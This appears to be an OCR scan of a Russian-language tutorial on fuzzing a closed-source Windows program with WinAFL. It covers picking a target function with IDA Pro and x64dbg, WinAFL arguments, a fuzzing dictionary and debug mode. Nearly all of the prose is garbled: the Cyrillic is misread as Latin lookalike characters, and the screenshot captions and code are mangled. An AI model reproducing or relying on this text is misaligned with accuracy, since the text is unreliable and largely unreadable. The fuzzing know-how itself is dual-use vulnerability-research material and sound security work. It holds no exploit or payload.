cmake --build . --config Release

6. [locne kKOMMUASIMH B MANKe <WinAFL dir>\build<32/64>\bin\Release OyayT Jiexarhb
pabouune O6unapu WinAFL. Ckonupy# ux u nanky ¢ DynamoRIO Ha Bupryanky, ko-
TOpY!O OyAellb HCIONIb30BaTh 1S a33uHra.

NMounck noaxoaswen uenun ana a33vHra

AFL co3paBajics mis (as3dHra nporpamm, KoTopble mapcsat ¢aitibl. Xors WinAFL
MOXHO MPUMEHATH I MPOrpaMM, HUCHOJb3YIOMUX APYTHe CrocoObl BBOJAA, MyTh HaU-
MEHBIIEr0 COMPOTUBIEHUS — 3TO BBIOOP [EJH, HCIOIb3YIOLIEH HMEHHO (ailiibl.

Ecnu xe Tebe, kak M1 MHE, HPABUTCS JOMOJHUTEIbHBIH YEJUICHK, Thl MOXelb nogas-
3UTh CeTeBble MporpamMmbl. B 3TroM cinydae Tebe mnpuaercs HCMOJb30BaTh
custom net fuzzer.dll u3 coctaBa WinAFL nubo mucare cBor coOCcTBEHHYIO 00€PTKY.

MNPUMEYAHUE

K coxaneHuto, custom net fuzzer ByaeT paboTaTb He Tak GbICTPO, MOTOMY YTO OH OT-
npaensieT ceTeBble 3anpockl CBOEN Lenu, a Ha ux obpaboTky ByaeT TpaTUTbCa AONOMHU-
TenbHoe Bpems.

OpnHako (a33uHT CETEeBbIX MPHIIOKEHHH BBIXOOHT 32 paMKH 3TOi cTaThH. OCTaBb KOM-
MEHTapHi, €C/TH XOUelllb OTACTIbHYIO CTAaThIO Ha ITY TEMY.

Takum obpazom:

O wuneanbHas uenpb paboraet ¢ dainamu,

O npuHUMaeT NyTh K (aiiny Kak apryMeHT KOMaHJHOH CTPOKH;
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O Moaynb, comepxamuil GyHKUHH, KOTOPBIH Thl Xod4ellb Moda33utb, AOJXKEH ObITh
CKOMITMJIHPOBAH He cTaThuecku. B nmpotuBHOM ciyyae WIinAFL 6ynet HHCTpyMEHTH-
poBaTb MHOTOYMCJIEHHbIE OMONIHOTEYHbIE GYHKLHH. DTO HE NPHUHECET OMOJHHUTEb-
HOTO pe3yJibTaTa, HO CHJIbHO 3aMeJUTUT (ha33HHT. '

Y auBUTENBHO, HO OOJIBLUMHCTBO pa3paboTyukoB He ayMawT o WinAFL, korga muwmyt
cBOM mporpammsl. [103TOMy eciiu TBOS Lieb HE COOTBETCTBYET ITUM KPHUTEPHUSM, TO ee
BCE€ PaBHO MOXXHO MpPH XKeJaHUH anantupoBath k WinAFL.

MNMowuck pyHKUunMn ana ¢assnHra
BHYTPU NporpamMmbl

Mpb1 nmoroBopusid 00 HAeanbHON LIEJH, HO pealibHas MOXXeT OBbITh OT MIeana janeka, mo-
9TOMY IUISl TIpUMepa s B3sUT NPOrpaMMy M3 CTapbiX 3amacoB, KOTOpas coOpaHa cTaTHue-
CKH, a e OCHOBHOH HcnonHseMblil daiin 3anumaer 8 MOaiT.

Y Hee MHOI0 BCAKHX BO3MOXHOCTEH, TaK 4TO, AyMato, ee OyneT HHTEPEeCHO Moda33uTh.

Mos uenb npuHUMaeT Ha BXoX (aiinbl, MOITOMY MEpBOE, YTO CAENAeM IMOCie 3arpy3ku
o6unaps B IDA Pro, — 970 HaiineM QyHKUHIO CreateFileA B UMIIOPTaX U MOCMOTPUM Ile-
PEKpECTHBIE CChIIKU Ha Hee (puc. 4.1).

,idata

.idata:

.idata:
-idater
.idata:
.idata:
. idata:
.idata:
. idata:
.idata:
.idata:
.idata:
.didata:
.idata:
.idata:
.idata:
. idata:
.idata:
Jddata:
112828480

.idata:12B28ABCE

12B28AA8
12B28ARB

12823048 ¢
1282844 |
12828AAC §

12828A4C
12B2BABS
12828AB0
12828484
1282848
12828484
12B28AB4
12828484
12828484
12B28AB8.
12828AB8
12828488
12828488

; HANDLE (__stdcall *CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, OWORD dwShareMode, LPSECUR]

@ xrets to CreateFiled

Direction Typ Address

sub 12542800 101
sub_12542440 101
sub_126524F0+55
sub_126524F0+ 55
sub_126576F04 FD
sub_126576F0+FD
sub_1268ECDD« £6
sub_1268ECDO+E6

B ¢
i up
& up
@Up
5 up
@Up
B up
= up

g0 ") g s o

extern {nestefiled:dword ; CODE XREF: sub- 12542AA8:1811p

—— —— s el AWWCIACQ LS

Text

dnreateFiled
¥s:CreatefileA
ds:CreateFileA
ds:CreateFileA
ds:CreatefileA
ds:CreateFileA
ds:CreatefileA
ds:CreatefifeA

calt
call
call
call
call
calf
calt

call
L2

Line1of 8

Search

s

i [
S S AL o

Puc. 4.1. MpocMOTP NEPeKPecTHLIX CChIOK

MpI cpa3y e MOXXeM YBHIETb, UTO OHa MCIOJIb3yeTcs B 4eThipex ¢yHkUMAX. Bmecto
TOro 4TOOBI PEBEPCHTb KaXAYI0O M3 HHUX B CTAaTHKE, NMOCMOTPUM B OTJIaJuHKe, kakas
UMEHHO (YHKLMS BbI3bIBaeTCS AJIs MapcuHra daiina.

OTkpoeM Hallly IporpamMMy B oTJan4uke (s 0ObIyHO Hcnonb3yto x64dbg) u nob6aBum ap-
TYMEHT K KOMaHJHO# cTpoke — TecToBbIH (aiin. Otkyaa s ero B3sa? [IpocTo oTKpbLI
nporpamMMy, BbICTaBHJI MAKCHMaJIbHOE YHMCJI0 OMUMH U1 JOKYMEHTa H COXPaHMJ €ro Ha
nuck (puc. 4.2).

Hanbuie Ha Bkiagke Symbols BeiOepeM OHONHOTEKY kernelbase.dll M MOCTaBUM TOYKH
OCTaHOBA Ha IKCMOPThI PYHKUHH CreateFileA U CreateFilew (puc. 4.3).
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48 Change Command Line

Eogram Files (x86) H E Vnputs\3. test

X

Puc. 4.2. ﬂborpamma B OTnag4uke

View Debug Traong Plugins Favourites QOptions

L:f tog [ Notes ® Breakpoints

‘QQ#**I?%@I&# AR AE
| ¥ Memory Map @wswﬂgm DSWt

767B89ED
76788820
7670EASO

Help May 8 2021 {TitanEngine)

CreateFiberex
CreateFile2
CredteFilea

7670E7CO CreateFileMappingw
CreateFilew
7675E4B0 PathCreateFromur1A
766F87A0 PathCreaterFromur 1A11o¢
76707E50 PathCreateFromuriw
7675EB0OD urlCreateFromPathA
7671A6E0 urlCreaterFromPathw
7670C0C4 ntdl1.NtCreateFile
767DCASC ntd11.ZwCreateFile

CreateFileMapping2
CreaterileMappingFromApp
CreateFileMappingNumaw

« Symbols

Puc. 4.3. YcTaHoOBKa To4ek ocTaHOBa

OnuH n0OONBITHBIH MOMEHT. «OduLHanbHO» QYHKUMH CreateFile* MPEIOCTABISIOTCS
O6ubnnoTeKoi kernel32.dll. Ho ecnu mocMoTpeTrh BHHMaTellbHee, TO 3Ta OuOnHOTeKa
COJEP>KUT TOJBKO jmp HAa COOTBETCTBYOLIME QYHKLHH kernelbase.dll (pHc. 4.4).

?Log : @Not:s @ Breakponts

& m)
i 75AZ3136 cC int3
il T5AIRLET cC int3
il 7SAZ3138 ac int3
8l 75A33139 cc int3
il 75A33134 cC int3
B TSA33ILIB cC int3
i 7SA3II3C CcC int3
ol 75433130 cc int3
Bl 7TSA33LIE (4 int3
ol 75A3313F cc int3
sl 75433140 - FF25 24104975

Wi 75A33146 cC int3
il 7SA33147 cC int3
I 75433148 cC int3
i 25A33149 CcC int3
# i 75A3314A cc int3
1 75A33148 cC int3
&l 7T5A3314C cC int3
! 75A33140 AE int3
I8l 7SA3314E cC int3
il sA3314F cc i3
#i 75A33150 ¥ FF25 201048975

#i| 75433156 cc

W MemoryMap [P Cal Stack | &8 SEN

jmp dword ptr ds:{<&Creat

jmp dword ptr ds:[<aDefi
int3

<&CreateFileA>

o) sopt @) symbais

£ Source
~

~

mov edi,edi
push ebp
mov ebp, esp
push ecx
push ecx

mov eix,dword ptr s5:
lea ecx,dword prr ss:
call kernelbase.?67105E6

test eax,eax

esi
dword
dword
dword
dword
dword
dword
dword

SSst
ss:

ptr ss

MoV €51, eax

76729650 <kernelbase.CreateF

je kernelbase.?6729694

:[ebp+18
:[ebp+14
: [ebp+10
: ebp+c1

<kernelbase. createn Tew>

febp ol

ebp+20
ebp+1C

-4

Puc. 4.4. Bubnuoteka coaepxuT ToNbKo jmp Ha cooTBeTcTByOWwMe hyHKumMmn kernelbase.dll

S npennouyuTaro cTaBUTH Opeiiki HMEHHO Ha 3KCIMOPThl B COOTBETCTBYIOLIEH OHONHOTE-
Ke. DTO 3acTpaxyeT Hac OT Cliyyasi, KOrja Mbl OIIHOIMCH M 3TH (YHKUHH BBI3bIBAET HE
OCHOBHOH HCIOJIHAEMbIH MOAyJb (.exe), a, HampuMep, kakue-To U3 OUOIHOTeK Hareil
uend. Takke 3TO MOJe3HO, CNIM Hallla MporpaMma 3axo4eT BbI3BaTh (PYHKIIHIO C MOMO-
b0 GetProcAddress.
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[Tocne ycTaHOBKH OpelK-MOHHTOB MPOJOKHUM BBINOJHEHHE MPOrPaMMBI U YBHUANM, Kak
OHa COBepLIAET MePBbIii BBI30B K CreateFileA. Ho ecau Mbl 0OpaTM BHUMaHHe Ha apry-
MEHTBI, TO MOMMEeM, UTO Hallla 1eJb XOYeT OTKPBITh KaKOH-TO U3 CBOMX CIYyXeOHbIX (aii-
JIOB, HE Hall TeCTOBBIH ¢aiin (puc. 4.5).

Puc. 4.5. MNMonbiTka oTKpbITE CryxebHbin dann

[IponomkuM BBITIOJHEHHE MPOTPaMMBbI, MOKa HE YBUIUM B CIIHCKE apryMEHTOB MyTh K
HaueMy TectoBoMy ¢ainy (puc. 4.6).

2: [esp+8] 80000000
3: [esp+C] 00000000
4: [esp+10] 0019F364
s
<

Puc. 4.6. NyTs kK TectoBomy anny

[Tepeiinem Ha Bryaaky Call Stack u yBUANM, 4TO CreateFileA BBI3BIBAE€TCS HE U3 Hallei
NPOrpaMMBI, @ U3 PYHKIIHHU CFile: :Open OMOIHOTEKH mfca2 (puc. 4.7).

[ Notes BB MeporyMap 9 Call Stack &7 SeH

U Lilog

® preakpoints <> source

@J Symbols

i

ikernc‘l base.76729650
SRR e e s LR TeTiopeEE
i 125ACBBO

0019F338 | 6C30925E 76723650148

O019F4F4 | 12548513 | 125ACBE0 | 478

Puc. 4.7. CreateFileA sbi3biBaetcs
13 yHkumn CFile: : Open 6ubnuotekn mfc42

Tak kax Mbl TONbKO HIleM (yHKuMIO Aas $a33uHra, HaM HY>XHO HOMHHTb, YTO OHA
JOJDKHA MPUHUMATh NyTh K BXOAHOMY (afimy, menmats 4to-To ¢ (GaiIoM M 3aBepuIaTh
CBOIO pabOTy HACTOJIBKO YHUCTO, HACKOJIBKO 3TO BO3MOXHO. [To3TOMy MBI OyneM moaHu-
MaThCs M0 CTEKY BBI30BOB, I0Ka HE HaiqeM noaxoasuyto GyHKUHIo.

CkonupyeM aapec Bo3BpaTa M3 CFile::Open (125ACBBO), nepeiinem no Hemy B IDA u
NOCMOTPUM Ha GYHKLHIO. MBI cpa3y ke yBHIUM, 4TO 3Ta GYHKUHS MPUHUMAET [Ba ap-
TYMEHTa, KOTOpBIE Aajiee UCIONb3YIOTCS KaK apryMEHTBI K IBYM BBI30BaM CFile::Open
(puc. 4.8).

Cyns mo npoTOTHIIAM CFile: : Open U3 fokyMeHTaunu MSDN (https://docs.microsoft.com/
en-us/cpp/mfc/reference/cfile-class?view=msvc-160#open), Hauiy nepeMeHHbIE al U a2 —
3TO MYyTH K (ainam.
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O6paru BHHMaHHe, uTo B IDA myTb K (aiiny nepenaercs GyHKIHH CFile: :Open B Kaye-
CTBE BTOPOTO apryMeHTa, TaK KaK HCTIOIb3yeTCs thiscall.

virtual BOOL Open (
LPCTSTR lpszFileName,
UINT nOpenFlags,
CFileException* pError = NULL);
virtual BOOL Open (
LPCTSTR lpszFileName,
UINT nOpenFlags,
CAtlTransactionManager* pTM,
CFileException* pError = NULL);

i rhar __stdcall sub_125AC828(int al, int a2)
2
| 77 [COLLAPSED LOCAL DECLARATII

S. PRES KEYPAD {TRL-“+" TO EXPAND]

vis = &v7;
wig = 1;
CFile::CFile(vii);
LOBYTE(v16) = 2;
CFile::CFile(v12);
LOBYTE(w16) = 3; ]
CException: :CException(v8)
LOBYTE(v16) = 4;
CString: :CString(v8);
LOBYTE(v16) = 5;

WA DWW oW B w

W

5| va[e] = (int)&off 129030

5| v8[2] = o;

?| v&[3] = -1;

8| CString::operator=(v¥9,

ko LOBYTE(viS) = 6; .

be | if ( CFile::Open(vil, a1, Ox8388, .8} L
b ]

bz LOBYTE(vi6) = 8;

p3 CFile::Read(vil, Strd, 8);

4 vi3 =0;

bs|  if... /

49 ¥3 = ¥2(Sarl, aBlck, 8u) 9;

b7 q¢t. .

B8 if ( iCFile::Open(vi®, a2, 0x9081, v8) )
g CFile::Close(vil);

1 vB[0] = (int)&off 12903014;

2 LOBYTE(v16) = 10;

3 goto LABEL_21;

23 }

Pwuc. 4.8. [1sa aprymeHTa, KOTOpble ganee Ucnonb3yrTcs
Kak apryMeHTbl kK AByM Bbi3oBaM CFile: :Open

Ota QyHKUHS YK€ BBIMIAIHT OYEHb HHTEPECHO, U CTOHT MOCTapaThCs PacCMOTPEThH €€
noapoOHee. [ns 3Toro s mocraBiao OpelikM Ha Havajao U KoHel (yHKLHUH, YTOOBI H3Y-
YUTh €€ APTYMEHTHI H MOHATh, YTO C HUMH IIPOUCXOIUT K KOHLY (DYHKLMH.

CaenaB 3TO, mepe3anyCcTHM MPOrpaMMy H YBHIMM, YTO JBa apryMeHTa — 3TO NYyTH K
HauleMy TectoBomy (ainy u BpeMeHHOMY (aiiny (puc. 4.9).

0013F4F8 || 02382F38| "C: \\inputs\\3. test"” A
3019F4FC || 02383028| “C: \\Users\\user\\Appbata\\Local\\Temp\\CXP2CFD.DCD"
QOL9FEN0 [l 02382BC 8| "C: \\inputsi\3.test”

0019F504 | 00000000
#(119F5048 || 00000001

Puc. 4.9. Nyt k TectoBoMy hanny u BpemeHHomy canny
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Camoe Bpemst MOCMOTPETh Ha coAep>kuMoe 3THX ¢aiinoB. Cyas o coaep>XHMOMY Hallero
TECTOBOTO (aiina, OH ckar, 3alnpoBaH WIH KaKUM-TO 00pa3oM 3akoauposaH (puc. 4.10).

B 3test ) CXP2CFD.tmp

Offset(h) 00 01 02 03 04 05 06 07 08 0% OA OB OC QD OE OF JLerompORaHuED Tek(
00000066 PO 06 86 £ 81 22 E7 CD 19 2B €5 8 12 Lt PvsH.remma!B
00000010 86 OB 19 22 76 34 50 70 45 4E 1A 34 74 11 t.."v4PpEN.:tKe&.
00000020 92 F7 B7 SF §9 53 E6 5D DB E7 E4 70 71 {3 66 EE ry [ x=KkHsasglfo
00000030 18 4% €3 A6 OC 5 3C 70 CA 36 29 E€ 37 %€ C8 2§ .IT}.-<pKeé}=7tl)
00000040 13 B¢ CE C3 FE €7 06 4C 10 35 40 Cf 80 21 23 E6 .YOMmg...58MB!#x
00000050 13 40 DO 92 01 E2 €6 €€ 35 79 43 26 8D 59 B4 25 .@P..mEE5yCef™rE
00000060 7F €4 E4 CC 20 27 €1 DA DE 05 11 4E CA DC BD OO .daM 'a®¥. .NKES.
00000070 €& Ci 8C 21 9B 2% 43 DE 56 6T 23 DB 13 52 E4 48 3KBY») COV1#H.Rad
0000008 12 A7 6D 21 18 42 A4 0G D& FZ 82 F& CF B% 53 C4 .Sml.Bu.ér, uilPS]
000000690 09 D: 2F 4% 29 33 E7 4D 1D 39 €3 C& Dé 5% 1D 37 .C/H)33M.9cKUY.7
000000A0 74 B5 96 BC €4 U3 8C AE 98 FB 44 3 79 50 CC 8% tp-jd.BS®.wmBcyPMr

Puc. 4.10. ®ainn sawmdposaH

BpemenHblii xe ¢aiin npocto nyct (puc. 4.11).

4 HxD - [C:\Users\user\AppDatailocal Temp\CXP2CFD.tmp)

i ®ain Mpaska Mouck Bug Ananus Wnctpymentol Okno Cnpaska

TRy W E d~ <216 vl Windows (ANSI) || hex

<

9 3test &) CXP2CFD.tmp

Offset (h) 00 01 02 03 04 95 96 07 08 U5 GA 0B OC D GE OF [exog
00000000 |

Puc. 4.11. BpemeHHbin avn nyct

BrinonHuM ¢yHKLHMIO 10 KOHIIA U YBHAHM, YTO Hall TeCTOBbIH (aiin Bce ele 3aindpo-
BaH, a BpEMEHHBbIH (ailn no-npexxHemy nyct. Yrto »x, ybupaeM TOUKH OCTaHOBA C 3TOH
(GYHKLHH ¥ IPOJOJDKAEM OTCJIEKHBATh BBI3OBBI CreateFileA. Cnenyrolliee oOpalieHHe K
CreateFileA JaeT HaM TaKOH CTEK BbI30BOB (puc. 4.12).

1 Notes

® Breskponts WM MemoryMap (b CalStack  @3SEH  jo Sapt @) Symbois € Source

QO13EFS iGCSOSZSE 7672965 kernelbase. 76729650
OD1SF98| 12401648 | 6C 30325 mfc42._CF'ET :0pen+FE

5

AT

e T T
P A T Gk T

Puc. 4.12. Crek BbI30BOB

@DyHKIIMS, KOTOpasi BbI3BIBAET CFile::Open, OKa3bIBAETCS OYEHb MOXOXEW HA Mpeablay-
myto. TOYHO Tak e MOCTaBUM TOYKH OCTAaHOBA B €€ Hayalsie U KOHIIE U MOCMOTPHM, 4YTO
Oyner (puc. 4.13).

CriHcoK apryMeHTOB 3TOH (YHKIIHH HAIOMHHAET TO, YTO MBI YK€ BUAENH (puc. 4.14).

CpabarbiBaet Opeiik B KOHIIE 3TOH QyHKLHH, H BO BpeMEHHOM Qaiisie Mbl BUIUM paciind-
POBAHHOE, a CKOpee Aake pa3apXHBHPOBAHHOE, COAEP)KHUMOE TeCcTOBoro ¢aiina (puc. 4.15).
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char __cdecl sub_12401510(int al, int a2)

#/ [COLLAPSED LOCAL DECLARAT LNS. PREBS KEYPAD CTRL-"+" TO EXPAND]
vl9 = i;
CFile::CFile(v1l);
LOBYTE(v18) = 2;
CFile::CFile(v13);
LOBYTE(v19) = 3;
18| v2 = GlobalAlloc(Ox42u, OxF34u);

WO 00~ b P

11| v3 = v2;

iZ2g " if..:

13| v5 = Globallock(v2);
14 if...

15| vi7 = 0;

16| CException::CException(v8};
17| LOBYTE(v19) = 6;

18| CString::CString(v9);
19| LOBYTE(v19) = 7;

26 | v8[@] = (int)&off_129030%4;
21| v8[2] = 0;

22| v8[3] = -1;

23| CString::operator=(v9, @);
|24 | LOBYTE(v19) = 8; ;
25| if ( 1CFile::Open(v1l, ki, @

{
b7 v8[@] = (int)&off_12903014;
28 LOBYTE(v19) = 9;
29 CString: :~(String(v9);
Be v8[0] = (int)&off_ 129030
31 LOBYTE(v19) = 10;
32 |LABEL_18:
33 CFile::~CFile(v13);
34 LOBYTE(v18) = 1;
35 CFile: :~CFile(vil);
36 LOBYTE(v19) = ©; _-
37 CString: :~CString(&al); §
38 vi9 = -1; .
39 CString: :~CString(&a2);}
48 return 8; 1

08

42| if ( !CFile::Open(v13, a2, 36865, v8) )

Puc. 4.13. BuicTaBnsem To4ku ocTaHoBa

= sFa SERCE= S g S8 T i !
R TS
in \3.test"

uts

[esp+C] 02342BC8 “C:\\inputs\\3.test"
[esp+10] 00000000
[esp+14] 00000001 g

Puc. 4.14. Cnucok aprymeHToB pyHKUMK

Takum oOpa3zom, 3ta QyHKUMsS pazapxuBupyeT ¢aitn. Ilo3KcepuMEHTHpPOBaB € Mpo-
IPaMMOH, s BBISICHHJI, YTO OHA MIPHHHUMAET Ha BXOJ KaK CXKaTble, TAK H HECXKAThle (aibl.
HaM 310 Ha pyKy — C moMoIbi0 (a33HHra HecHkatelx (ailioB Mbl CMOXEM NOOHTBCS
ropazgo Goiee MOMHOro MOKPBITHA KOJXa M, KaK CIEACTBHE, HoOpaTkcs o Goiee HHTe-
pecHBIX (uy.

ITocMoTpuM, cMOKeM JTH Mbl HAalTH GYHKLHIO, KOTOPAst BHINIOJIHAET KaKHe-TO AEHCTBUS C
y>Xe paciinppoBaHHBIM (paiiom.



i) CXPD28Fimp

Offset(h} 00 01 02 03 04 05 06 G7 OF 0Y OA 0B 9C OD OE OF [JexemMpoBasHedl TEKCT
00000006 50 72 &F €7 56 €5 72 2E 32 22 3B OD ProgVer:="2.2";.
00000016 GA 57 72 €% 74 74 65 s 65 72 73 69 €F .WrittenByersio
00000026 6E 3A 3D 22 39 2E 37 OA 46 €9 6C €5 n:="9.76";..File
00000030 54 7% 70 €5 3A 3D 31 72 65 €1 74 €5 Type:=l:..Create
00000040 64 3A 3D 22 33 30 20 32 31 20 32 30 d:="30 5 2021 20
00000056 20 34 33 20 37 22 3B OD OA 4D 6F €4 69 €5 69 €5 43 7";..Modifie
00000060 64 34 3D 22 33 30 20 35 20 32 30 32 31 20 32 30 d:="30 5 2021 20
00000070 20 34 33 20 32 33 22 3B OD OA 4E €1 6D &5 3A 3D 43 29¢;..Name:=
00000080 22 4E €5 77 50 72 6F €A 65 63 74 22 3B OD OA 43 "NewProject”:..C
00000090 6F 72 65 3h 3D 0D OA 42 45 47 49 4E OD Uh 20 43 ore:=..BEGIN.. C
000000AC 44 4D 50 6. 74 62 3A 3D 22 22 3B 0D OA 45 4E 44 DMPath:="";..END

Puc. 4.15. Cogepxumoe TecTtoBoro daiina

OnuH M3 noaxoAoB K BbIOOpY dyHKUMM 11 (a33uHra — 3T0 MOUCK QYHKUHMH, KOTOpas
OJHOI M3 MepBbIX HauMHAET B3aMMOJEHCTBOBATh C BXOAHBIM (haitoMm. /[Burasce BBEpX
10 CTEKY BBI30BOB, HalJEM caMy!o NepByIo QyHKILHIO, KOTOpas NPUHUMAET Ha BXOJ MyTh
K TecToBOMY (aiiny (puc. 4.16).

15 127 unlocked

00000001
{esp+C] 00000001

3:

Puc. 4.16. OyHkuus, koTopas NpUHUMaeT Ha BXOA NyTb K TECTOBOMY (hainy

@yukuus aas pasz3uHra JOMKHA BBINOIHATHCA A0 KOHLA, O3TOMY CTaBHM TOYKY OCTa-
HOBa Ha KoHell QyHKIHH, YTOObI OBITh YBEPEHHBIMH, YTO 3TO TpeOOBaHHE BBINOIHUTCA, H
xmem F9 B otnaguuke (puc. 4.17).

® Breakpoints WM MemoryMap [ Call Stack & SEH

SBOD B4C2B112 mov ecx,dword ptr ds:[12B1C2B4]

8801 mov eax,.dword ptr ds:[ecx]
EEC} 74 a1l dwnrd ntr rcs foawe 73

Puc. 4.17. BoicTaBnAemM TO4Ky OCTaHOBa

Event \Sessions\1\BaseNamedObjects\_CDM_TraceEvent

Event \Sessions\1\BaseNamedObjects\_CDM_TraceEvent

Evert \Sessions\1\BaseNamedObjects\_CDM_TraceEvent

File C:\Windows

File CAWindows\WinSxS\x86_microsoft windows.common-controls_6595064144ccf 1df_5.82.19)
File \Device\CNG

File C:\Windows\Registration\RGOOG00000006 clb

File \Device\KsecDD

File CAWindows\WinSxS'x86_microsoft. windows.common-controls_6595064144ccf 1df_6.0.190)
File CAWindows\Forts\StaticCache dat

File C:\Program Files\WindowsApps\Microsoft.Language ExperiencePackru-RU_19041.28.77.0_
Key HKLM\SOFTWARE\Microsoft\Windows NT\Current Version‘image File Execution Options

Puc. 4.18. Cnucok xeHanoB npouecca B Process Explorer
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Taroxe ybenumes, 4o 3ta GYHKLHS 1OC]IE BO3BpaTa 3aKphIBa€T BCE OTKPBIThIE Gailibl.
Jlns 3TOrO NpPOBEPHM CITMCOK XEHANOB npouecca B Process Explorer — Hawero TectoBo-
ro ¢aiina tam Her (puc. 4.18).

BunumM, yto Hama gyHkuus coorBercTByer TpeboBanusM WinAFL. [TonpoGyeM HauaTh
¢da33uts!

AprymenTbl WINnAFL, noaBogHble KAMHU

Mowu apryments! ans WinAFL Beirnaast npumepHo Ttak. JlaBait pa3depem Mo nmopsaky
caMbl€ Ba)XXKHBIE U3 HHX.

afl-fuzz.exe -i c:\inputs -o c:\winafl build\out-plain -D
C:\winafl build\DynamoRIO-Windows-8.0.18915\bin32 -t 40000 -x

C:\winafl:build\test.dict -f test.test -- -coverage module target.exe -
fuzz iterations 1000 -target module target.exe -target offset 0xA4390 -nargs 3
-call convention thiscall -- "C:\Program Files (x86)\target.exe" "@@"

Bce apryMmeHThl OensaTcs Ha TpH IpYINbl, KOTOPble OTAENAIOTCA IPYr OT Apyra OBYMs
poYepKaMHu.

[NepBas rpynna — aprymentsl WinAFL:
O bp— nyTs k 6uHapsM DynamoRIO;

O t — MakcHManbHbIi TaliM-ayT 1ng onHoi utepauuu ¢dassunra. Ecnu nenesas QpyHk-
LIMsl HE BBINOJIHUTCS 10 KOHILA 3a 370 BpeMs, WinAFL nocuuraer, yro nporpamma 3a-
BHCIIa, U TIEpE3aNyCTHUT €€;

O x — nyTsb K CI0BapIO;

0 £ — c NoMOLBIO 3TOr0 NapaMeTpa MOXXHO NepeaTbh UMs M paclIMpPEHHE BXOIHOIO
daiina nporpammsl. [lonesno, koraa nporpamMma peuiaer, kak Oyzaer napcutb ¢aiin, B
3aBHCHMOCTH OT €r0 PacIUHPEHHS.

Bropas rpynna — apryMeHTsl a1s 6HONIHOTEKH winafl.dll, KOTOpass HHCTPYMEHTHPYET
LIeJIEBOM MpoLecc:

a coverage_module — MOZYJIb IJIA CHATHUA MOKPBITHA. Hx MoxeT ObITh HECKOJIBKO;
O target module — Moaynb ¢ dbyHKUHMeH 115 pa33unra. OH MOXKET ObITh TONBKO OJHH;
O target offset — BHPTYyallbHOE cMellleHHe GYHKLMH 0T 6a30BOro agpeca MOAyJIs;

O fuzz iterations — KOJIMYECTBO HTepauuil (az3uHra Mexzay nepesanyckaMmu MNpo-
rpamMMsl. Yem MeHblue 3TO 3HaueHHe, TeM 4aue WinAFL Gyner nepesanyckars BCIO
nporpaMMy LEIUKOM, 4TO OyIeT 3aHMMaTh OONONHHUTENbHOE BpeMs. OgHako eciu
nonro ¢a33uTh nporpaMMy 6e3 nepesanycka, MOIyT HaKOMHUTBCS HeXeJaTelbHble Mo-
6ounble 3¢ dexTsr;

a call_convention — COrIJJallIEeHUE€ O BBI3OBE. HOHHep)KI/IBa}OTCSl sdtcall, cdecl,
thiscall;

O nargs — konu4uecTBO aprymeHToB ¢yHKUuH. This Toxe cunuTaercs 3a apryMeHr.

Tperss rpynna — nyte k camoif mporpamme. WinAFL u3MeHHT @@ Ha nOnHBIA MyTh K
BXOOHOMY (aiimy.
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MNMpokayka WIinAFL — nob6aBnsem cnoBapb

Hama uens npoctas — yBENHYUTH KOJTHYECTBO NMyTEH, HAXOAUMBIX 3a ceKyHAy. [lnd ato-
ro Thl MOXEUIb pacnapasienuTs padory ¢das3epa, MOUrpaTh ¢ YUCIOM fuzz_ iterations
Wik nonpo6oBatk $az3ute yMHee. [ B 3TOM TeOe MOMOXET CIOBapb.

WinAFL ymeer BoccraHaBnyBaTh CHHTakcHC ¢opmara naHHbIX uend (Hanpumep, AFL
CMOT caMoCTOATeNbHO co3aaTh Banuanble JPEG-daiins 6e3 kakoi-nubo JOmnonHUTeNDb-
Hoii nHbI (https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html)).
OO6Hapy)XeHHbIE CHHTAKCHYECKHE €AHHHLBI OH MCHOJb3YEeT AJS MeHepalHuH HOBBIX Kei-
coB 114 ¢a33uHra. 3T0 3aHUMAET 3HAYUTEIBHOE BPEMs, H 3[IECh Thl MOXKELIb MY CHIIBHO
NOMOYb, Belb KTO, KaKk HE Thl, Jyyllle BCEro 3HaeT ¢opMaT JaHHbIX TBOEH MporpaMmsi?
s 3TOro HY’>KHO COCTaBHTH CJOBapb B (OpMarTe <wms nepemenHoit>="3nauenne". Ha-
NpUMep, BOT Ha4ajuo MOEro CJIOBaps:

x0="ProgVer"

x1="WrittenByVersion"

x2="FileType"

x3="Created"

x4="Modified"

x5="Name"

x6="Core"

Urak, mbl Hauwy ¢yHkuuio ans ¢as3udra, monyTHo pacuindpoBaB BxogHoH daiin npo-
rpaMMBbl, CO3/alu CJIOBapb, MOJOOpaIH apryMeHThl H MOXEM HAaKOHEL-TO HayaTth ¢as-
3uTh (pHc. 4.19)!

8 (0 unigue)

Puc. 4.19. ®a3zsnHr c uicnonb3oBaHuem cnosaps
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U nepebie xxe MUHYTHI ¢a33uHra npHHOCAT nepseie kpamu! Ho He Bcerna Bce mpoUcxo-
Ut Tak raaako. Hke s npusen Heckonbko ocobeHHocted WinAFL, koTopele MOryT
Tebe noMoyb (MM MOMELIaTh) OTIaUTh IpoLecc (a33uHra.

OcobeHHocTn WInAFL

NMoGouHble 3pchekTbI

Bxauvane s nucan, 4yro QyHKUMs A $a33uHra He JA0DKHA UMETh NMOOO0YHBIX 3G (EKTOoB.
Ho 310 B nueane. Yacto ObiBaeT Tak, 4yTo pa3paboT4HMKH 3a0bIBalOT 100aBHTH B CBOH
NpOrpaMMsbl TaKHe KpacHBble GYHKIHH, H IPUXOIUTCA HMETH JEJI0 C TEM, YTO €CTh.

Tak kak HekoTopble 3G dEKTh HAKAIUIMBAIOTCS, BO3MOXHO, Tebe yaacTcs yCHelHo Mo-
¢ba33uTh, yMEHBLIHUB YHCIIO fuzz iterations — Tak WInAFL Oyner nepesamnyckars TBOO
nporpamMMy gaiie. IT0 HEraTHBHO IOBIHAET Ha CKOPOCTh, HO 3aTO YMEHBILUHT KOJIHYECT-
BO M060YHBIX 3 PekToB.

Hde6Gar-pexum

Ecnmu WinAFL orka3biBaeTcs paborars, monpoOyii 3amycTUTh €ro B nedar-pexume. s
3TOoro no0aBb mapamMeTp -debug K aprymMeHTaM OHOMHOTEkH HHCTpyMeHTauuu. [locie
3TOro B TEKylIeM KaTajore y TeOs mosBUTCs TeKcToBbIH Jor. [Ipn HopManbpHO#H pabore B
HEM JOJDKHO OBITh OJWHAKOBOE KOJHYECTBO CTPOYEK In pre fuzz handler H In
post_fuzz handler. Takxe momkHa npucyrcTBoBath ¢pasa Everything appears to be
running normally (puc. 4.20).

Exception caught: 480100086
Module loaded, PROPSYS.d1l
